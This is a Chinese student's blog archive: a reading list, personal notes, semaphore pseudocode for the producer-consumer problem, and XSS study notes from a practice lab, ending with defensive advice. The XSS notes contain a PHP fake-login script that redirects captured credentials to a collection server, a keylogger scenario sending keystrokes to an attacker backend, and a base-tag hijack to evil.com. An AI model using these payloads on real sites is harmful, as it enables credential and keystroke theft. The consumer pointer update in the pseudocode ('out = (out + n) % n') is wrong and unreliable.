作者归档:myblog_toky

【2019年8月书单】

8月书单

记录我每月看的一些书

  1. 《上帝掷骰子吗:量子物理史话》 # 从看电子的双缝干涉引起了兴趣,当闲书看一下哈哈
  2. 《加密与解密(第4版)》 # 学二进制是基本功,下定决心也要坚持下去
  3. 《网络攻防实战研究 漏洞利用与提权》 # 渗透学习的案例书
  4. 《漏洞战争 软件漏洞分析精要》 # 和序号2结合起来看
  5. 《白帽子讲web安全》 # 打好基础,整理文档

攻坚战的书籍

1.《深入理解计算机系统》

再一次挑战

翻到Python300Days 这个曾经的“项目”,快有一年了,当时的自己,和现在的自己,有多少区别呢?
还是会逃避必须要做的事情,而做那些做着“轻松”的事情,的确,很难做到一致,但不意味着我可以逃避。
锻炼和坚持是为了什么,让自己变得更好是为了什么,去看看外面的世界是为了什么?
明白自己最想要什么了吗?
忍受得了孤独和嘲笑了吗?
现在的我,有爱的人陪伴,有朋友在身边,父母疼爱,简直是幸福无比。我有无数的选择。
今天你痛苦了吗?今天你流汗了吗?今天你流泪了吗?
如果你没有,那么就有着无数的人在经历这些,我不是要和没有经历这些的人比较,我是要为那些正经历这些的人奋斗,为一切我爱和爱我的人。

再一次地,开始挑战!

生产者消费者问题 —— 信号量

生产者消费者问题

使用信号量法

2. 问题分析

  • 缓冲区为空,消费者不能消费
  • 缓冲区为满,生产者不能生产
  • 一个线程进行生产或消费时,其它线程不能进行生产或消费,即保持线程同步
  • 申请时,条件变量必须要在互斥锁之前

3. 设置变量

变量 代表的意义
mutex 互斥变量,初值为1
items 代表缓冲区已经使用的资源数量
space 代表缓冲区可用的资源数量
in, out 第一个资源和最后一个资源
buffer, item buffer代表缓冲区,item代表资源类型

4. 伪代码实现

假定缓冲池中有n个缓冲区,资源的类型为items


int mutex = 1; int items = 0; // 表示缓冲区以及使用的资源数 int space = n; // 缓冲区可用资源数量,开始时,没有被占用,为n int in = 0; int out = 0; item buffer[n] = {NULL}; void productor() { do { wait(space); // wait(条件变量),即申请条件变量的资源 wait(mutex); // wait(条件变量)必须在wait(互斥变量)之前;此操作保证在往缓冲区添加资源时,不会有其它线程访问资源 生产一件产品 buffer.push(item, in) // 把新资源放在buffer[in]位置上 in = (in + 1) % n; signal(mutex); // 释放锁 signal(items); // 通知consumer,缓冲区有资源可以取走 } while(true) } void consumer() { do { wait(items); // 等待缓冲区,直至有资源可以取走 wait(mutex); // 实施取走操作时,锁着缓冲区,不让其它线程访问缓冲区 消费者取走一个缓冲区资源 buffer.pop(out); // 把buffer[out]位置的资源取走 out = (out + n) % n; signal(mutex); signal(space); // 释放一个资源,通知缓冲区中有空闲位置 } }

5. ⚠️注意点

  • wait(条件变量)必须在wait(互斥变量)之前;此操作保证在往缓冲区添加资源时,不会有其它线程访问资源;同样,实施取走操作时,也需要锁住缓冲区,保证其它资源不同时访问
  • 信号量解题的关键:
    • 信号量的设置。一般根据系统中资源的不同状态,如生产者消费者问题中,缓冲区中资源的状态为:已经使用的(items),空闲可使用的(space)
    • 给信号量赋初值。对互斥信号量(1表示均未进临界区,0表示其中一个进入临界区,-1表示一个进入临界区,一个进程阻塞)

XSS 专题 1 – Part A

XSS基础

  1. 测试流程
    a. 找到网页上的输入点
    b. 输入一组 ”特殊字符(’ ” <>) + 唯一识别字符“, 提交后,查看返回的源码,是否有被过滤等处理
    // 此处之所以先检查特殊字符的过滤,而不是先尝试payload,是因为在一开始知道网站对特殊字符的处理情况,可以更好地选择测试语句
    c. 搜索定位到唯一识别字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
    d. 尝试payload 和 各种绕过
  2. get & post
    a. get 方式的xss更容易利用,一般是将带有XSS的URL伪装后发给目标
    b. POST方式的xss以表单方式提交,无法利用url
  3. 本质:输入 <-> 输出
  4. 存储型XSS
  5. DOM型XSS(本身是一个反射型,纯前端操作)
    a. 概念补充:DOM(Document Object Model)
    文档对象模型 (DOM) 是HTML和XML文档的编程接口。它提供了对文档的结构化的表述,并定义了一种方式可以使从程序中对该结构进行访问,从而改变文档的结构,样式和内容。
    DOM 将文档解析为一个由节点和对象(包含属性和方法的对象)组成的结构集合。简言之,它会将web页面和脚本或程序语言连接起来。
    dom tree
    每个元素都可与看做一个对象,每个对象都叫做一个节点(node)
    b. 区别:与反射型、XSS直接构造script不同,DOM型XSS是构造html,注入的是html
    本质:前端的输入通过DOM获取到,又通过DOM输出了
    c. 应用场景:某些业务使用DOM获取浏览器输入(URL上)时,和反射型XSS相像
    应用场景

XSS漏洞测试

  1. cookie的窃取和利用
    i. GET方式
    get
    i. POST方式
    post

与GET型不同的是,我们无法直接通过URL发起攻击,需要伪造表单提交页面,红圈划起来的部分与GET相同

  1. 钓鱼攻击🎣
    i. src属性中写入钓鱼外链,跨过同源策略
    ii. 方式1: 发送认证框

    <?php
    error_reporting(0);
    // var_dump($_SERVER);
    if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
    //发送认证框,并给出迷惑性的info
        header('Content-type:text/html;charset=utf-8');
        header("WWW-Authenticate: Basic realm='认证'");
        header('HTTP/1.0 401 Unauthorized');
        echo 'Authorization Required.';
        exit;
    } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
    //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
        header("Location: http://pikachu.thereroad.com/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
        &password={$_SERVER[PHP_AUTH_PW]}");
    }
    ?>
    
  2. 获取键盘记录⌨️
    i. 关键代码,PHP中
    evet.keyCode获取键盘输入
    keycode
    rk.js 是恶意代码 -> 植入攻击站点中,获取用户键盘输入并发送到攻击者后台(rkserver.php)
    rk
    rkserver.php中,设置为允许被跨域访问,又因为攻击站点http://www.a.com本身也是攻击者自己搭建的,属于相同源,因此,http://www.a.com可以通过rk.js操控http://www.a.com/rkserver.php
    rkserver

  3. XSS 盲打
    i. 盲打不是一种XSS类型,而是一种攻击场景 ——> 我们的跨站脚本不在前台输出,在后台页面、管理员处输出。

XSS 构造技巧

  1. 利用字符编码
    a. 核心思路:
    标签被编码后,服务端不一定过滤。当浏览器对该编码识别时,会翻译成正常的标签,从而执行
    b. ⚠️注意:在使用编码时需要注意编码在输出点是否会被正常识别和翻译!
    即,服务端你或许成功绕过了过滤,成功输入了,但一定要注意输出点,浏览器端能不能翻译成功。
  2. 绕过长度限制
  3. 使用标签
    a. 标签不经常使用,功能是定义页面上的所有使用“相对路径”标签的hositng主机地址
    b. 例如:
    <base href="https://timgsa.baidu.com" />
    <img src="/timg?image&quality=80&size=b9999_10000&sec=1558615227&di=81734ea0ddbda14f8149ea303ee78710&imgtype=jpg&er=1&src=http%3A%2F%2Fb-ssl.duitang.com%2Fuploads%2Fitem%2F201505%2F20%2F20150520105805_wunTK.jpeg" />

    c. 标签将指定其后的所有标签,默认从其href取URL,并且base标签可以用在页面的所有位置
    // 续接Part B //
    d. 攻击者在页面插入标签之后,可以在远程服务器上伪造图片、链接或JS脚本,劫持正常页面中的所有使用“相对路径”的标签,比如:
    <base href="http://www.evil.com"/>
    ...
    <script src=x.js><script>
    <img src="/img/y.jpg"/>
    ...

    e. 例子
    example
  4. 大小写
  5. 闭合绕过
  6. htmlspecialchars绕过(PHP中)
    i. htmlspecialchars() 函数,把预定义的字符转换为HTML实体
    ii. 直接把前端的输入经常处理,不加任何类型参数,则为默认类型,如:
    $ok = htmlspecialchars($_GET[‘message’])
    默认类型仅编码双引号,不编码单引号,是攻击的一个点
    iii. 例子:
    example2
    首先,输入一些敏感字符来试探一下过滤情况,上图红圈中的&quot就是htmlspecialchars函数对双引号进行的转义,而对单引号没有进行转义。接下来我们构造:
    poc
    此处为href输出点,利用单引号闭合

XSS防范措施

  1. 总的原则:
    输入作过滤,输出作转义
    过滤:根据业务需求作过滤
    转义:所有输出到前端的数据都根据输入点进行转义。如,输出到html中,要进行html实体转义,输入到js中,要进行js转义
  2. 具体实例 – href输出
    a. <a>标签的href为输出点的话,可以进行XSS注入(例如注入 javascript:alert(123))
    b. 防范:因为在href属性中常常只写入超链接,我们可以只允许http/https开头的协议才允许从这个地方输出。其次,再进行htmlspecialchars处理
  3. 具体实例 – JS输出
    a. JS注入的关键就是去构造闭合
    b. JS不会对字符实体编码进行解释,因此我们的JS输入需要进行JS转义
    c. 如果直接进行HTML实体编码,虽然可以解决XSS问题,但实体编码后的内容不会在JS中翻译,导致前端输入的内容在后台失效
    d. —> 所以,在JS的输出点,应该对特殊字符进行转义,使用
  4. 总的来说,XSS的防范,就是要注意输入点和输出点。输入作过滤,输出作转义。

期末将至

计划列表

期末将近,暑假实习也得准备起来了,罗列一些应该要记得的事情

  • 操作系统 实验&理论
  • Java EE 期末课设
  • OOAD 复习 & 考试准备
  • Android 课设
  • 毛概开始背提纲
  • 关爱生命开始准备题目

  • Web安全
  • 安全综合
  • SRC

  • 机器学习(吴恩达)
  • 数据结构复习(Java实现/Python实现)
  • 算法学习(导论,橙皮书)